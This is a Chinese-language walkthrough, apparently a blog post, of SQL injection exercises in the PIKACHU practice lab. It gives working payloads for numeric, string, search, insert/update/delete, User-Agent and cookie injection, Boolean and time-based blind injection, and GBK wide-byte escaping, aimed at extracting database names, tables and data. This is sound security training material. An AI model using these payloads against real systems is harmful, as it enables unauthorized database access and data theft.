PIKACHU--SQL注入

目录

 

SQL Inject(SQL)概述

SQL注入流程

注入点探测

信息获取

获取权限

注入点类型

PIKACHU--数字型注入()

PIKACHU--字符型注入(GET)

PIKACHU--搜索行注入

PIKACHU--XX型注入

PIKACHU---insert/updata注入

PIKACHU--delete注入

PIKACHU--HTTP header注入

UA注入

cookie注入

盲注

PIKACHU--盲注(based on Boolean)

PIKACHU--盲注(based on time)

PIKACHU--宽字节注入


SQL Inject(SQL)概述

注入漏洞在全球漏洞排行榜上一直高居榜首而注入漏洞中首当其冲的就是数据库注入漏洞,SQL注入漏洞主要的成因是子啊数据交互中,前端数据传入到后台处理时,没有做严格的过滤,导致传入后台的“数据”拼接到SQL语句中后,被当成SQL语句的一部分执行,从而产生与原本语句截然不同的意思,导致数据库受损(被脱裤、删除、甚至整个服务器权限沦陷)

SQL注入流程

注入点探测

  • 手动方式:手工构造SQL语句进行注入点发现
  • 自动方式:采用自动扫描工具,自动进行注入点发现

信息获取

通过注入点取得想要得到的数据

  • 环境信息:数据库名称、类型、版本、用户信息等
  • 数据库信息:数据库表、表字段、字段内容等(加密内容破解)

获取权限

  • 获取操作系统权限:通过数据库执行shell,上传木马

注入点类型

分类依据:输入的变量传入到SQL语句是以什么类型进行拼接的

  • 数字型:user_id=$id
  • 字符型:user_id='$id'(区别就是有双引号或者单引号,构造语句闭合的时候也应根据这个特点确定类型)
  • 搜索型:text LIKE '%{$_GET['search']}%'

PIKACHU--数字型注入()

根据输入的字段返回用户名和邮箱,其实大致可以题目写的很清楚是数字型注入,我们本可以直接上数字注入。但是为了让在我们不知道注入类型或者注入点的时候可以有很好的思路,我们先来猜一下提交参数的后台是如何工作的,是怎么样的一个SQL语句才能根据我们输入的ID查询出用户名和邮件

$userid=$_post['userid']
select 用户名,邮箱 from 表名 where userid=$userid

由于是POST请求方式,我们不能在url直接输入,所以使用bp抓包然后发起攻击

1 or 1=1

PIKACHU--字符型注入(GET)

页面提示username大概率是字符类型,可以尝试输出一个字符串

输入kobe

并且由于是GET型所以所有的参数都出现在url上

字符型SQL注入必定会有单引号或者双引号,所以我们可以挨个试一试输入一个单引号

报了一个语法错误说明这个点有存在注入,那我们就猜想一下这个点后台所存在的sql语句

$name=$_GET['username']
select uid,email from 表名 where username='$_username'

然后尝试通过闭合SQL语句,构造一个我们想要的函数,首先是单引号闭合前面语句自身的一个单引号,后面输入我们想要的内容 ,最后使用#号把后面那个单引号注释掉

kobe' or 1=1#

这时候也可以看到数据库的所有信息了

PIKACHU--搜索行注入

搜索型注入一般会使用text LIKE '%{$_GET['search']}%',所以我们根据该语句猜解这个输入点后台的查询语句

$username=$_GET['username']
select 字段1,字段2 from 表名 where username like '%$username%'

我们根据这个语句构造对应的闭合,首先闭合前面的’%,最后再注释后面的%‘

k%' or 1=1#

PIKACHU--XX型注入

注入的类型有很多种我们不要局限于这几种,由于代码写的各种各样,自然而然我们注入的姿势也是千奇百怪啦。

我们打开后台源代码

这里就是使用单引号和小括号,我们根据这个查询语句构造相应的payload

kebo') or 1=1#

PIKACHU---insert/updata注入

首先点击注册只填必填的两个选项,利用一些特殊字符去尝试看是否存在注入,首先输入一个单引号

这边报了一个语法错误,说明网站是把我们输入的单引号带入后台本身存在的SQL语句执行了的。所以这个点存在注入。而且我们观察这个注册界面之后可以确定后台使用的是insert语句,我们可以大概猜测一下后台的SQL语句,用户名肯定是一串字符

insert into 表名(用户,密码,性别,手机,地址,住址) values ('1',2,3,4,5,6)

 

构造payload,基于insert下的报错注入,第一个单引号闭合两个or中间是我们要执行的语句,最后再跟一个单引号闭合后面的单引号

1' or updatexml(1,concat(0x7e,database()),0) or '

这是我们已经顺利的把数据库名爆出来了

我们可以利用这种方式把表,列,甚至详细信息都爆出来,后面就不一一演示了(大家如果要练的话换一个模块在字符型那里应该可以,我在这里练的没有表),其实主要还是说原理,理解了就好

update 的原理跟insert是一样的甚至一样的payload就可以达到同样的效果,这里就不演示了。

还有一点要说一下,在insert 、update、delete种不能使用union去做联合查询,因为这不是查询是操作

PIKACHU--delete注入

点击删除并使用burpsuit抓一个包分析一下

可以观察到这边是传了一个id的值进去,所以我们推测后台的SQL语句是通过ID值来确定删除那条留言的。

delete from message where id=63

由于页面本身没有注入点,所以我们在burpsuit中测试,首先构造一个payload

1 or updatexml(1,concat(0x7e,database()),0)

然后由于把63替换为我们构造的payload的但是需要先进行一些url编码,bp本身就自带这些功能

 

这样我们就把数据库的名字爆出来啦

PIKACHU--HTTP header注入

浏览器有一些验证机制比如cookie、session 或者是通过http header 获取客户端的一些信息,在对这些信息进行获取的使用会使用SQL语句进行处理,此时如果没有足够的防护机制就很有可能会导致基于http header 的SQL漏洞。

UA注入

首先使用账号信息,账号就是之前使用过的账号

观察这个页面可以明显看出后台会获取这些数据,然后我们抓包尝试看对数据库有没有操作

然后我们尝试把user-agent改为一个单引号,发包并观察返回结果,看到显示的是SQL语法错误说明这个点存在注入漏洞

说明UA存在注入点,尝试构造payload

1' or updatexml(1,concat(0x7e,database()),0) or '

cookie注入

有时后台也会读取我们的cookie,所以这个地方可能也存在注入点所以我们尝试一下,在用户名后面输入一个单引号看是否被带入执行

这个点也是存在注入的,构造payload尝试

admin' or uploadxml(1,concat(0x7e,database()),0)#

其实referer这个关键字也可能会存在注入点

盲注

盲注顾名思义就是没有页面回显,无法通过页面的回显来判断是否存在注入。一般情况下盲注的页面只有两个一个是成功一个是失败(也可以视为0或1)。盲注一般分两种一类是基于时间的盲注,另一种是基于Boolean的盲注。

PIKACHU--盲注(based on Boolean)

实验开始我们用到之间的用户名kobe

kobe' and 1=1#
kobe' and 1=2#

这个点还是存在注入的,而且这个页面的回显只有这两种,再没有其他的了我们可以获得的数据,只能通过真或假来逐步的猜解,所以这样手工注入的效率是很低的但是有时候没办法总要试试的

kobe' and length(database())>10#

通过这样的判断语句以及回显的内容来判断数据库名的长度,

然后再用substr()和ascii()判断数据库名由哪些字母组成

kobe' and ascii(substr(database(),1,1))>100#
###
substr()是一个切片函数(字符串,开始位置,步长)
ascii()就是将字符转为ascii码值
最后通过字符的ascii码值的具体大小来确定字符串内的每一个字符都是什么

得到数据库名后再去拆解表名

老规矩先判断长度

kobe' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) > 10#
#################
稍微解释一下这个语句
首先最里面是一个查询语句,可以通过调整limit 后的数字查到每一个数据库的名字
外层是一个分片函数substr(字符串,开始位置,步长),字符串就是查询语句查出的数据库名,从1开始到100结束,是第一片。100的意义就是保证数据库名的完整性够大即可(一般稍大就可以,谁也不会把一个数据库名设置100多个字符串)
最后就是length()了通过和后面的判断语句配合来确定字符串的具体长度

然后判断具体的表名

kobe'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100#

然后再猜解列名,最后就可以猜解数据了,这种方法是可行的就是很麻烦

PIKACHU--盲注(based on time)

布尔型的盲注还能看都由正确或者错误的提示,而时间型的盲注就完全什么也看不到了。

开始实现这边无论我们输入什么他都显示同样的界面

但是也不是完全没有办法,我们可以通过特定的函数,判断后台的执行时间

kobe' and sleep(5)#
######
如果kobe存在的话,这条命令会延迟5s之后执行

这就说明还是存在注入的

下面就是爆数据库名了,时间盲注的payload与Boolean盲注的payload有所不同

kobe' and if((substr(database(),1,1))='a',sleep(5),null)#
###########
if(判断语句,1,2)
如果判断成立执行1,否则执行2

直到匹配到第一个正确的字母,然后调整数字去匹配第二个,以此类推可以把完整的数据名爆出来

后面就依次爆表名和列名以及数据就可以了,把database()替换掉就可以啦

kobe' and  if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))='h', sleep(5), null)#

PIKACHU--宽字节注入

宽字节注入是mysql的一个特性,mysql在使用GBK编码的时候会认为两个字符是一个汉字(第一个asscii码要大于128,才到汉字的范围),

有时输入单引号湖北转义为\,无法构造SQL语句,GBK编码中,反斜杠的编码是%5c

而%df%5c是繁体字 运。所以我们往单引号前面加上%df可以构造出%df%5c从而使得单引号逃逸出来。

 

构造payload

1%df' or 1=1#

这里可以爆出所有信息

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值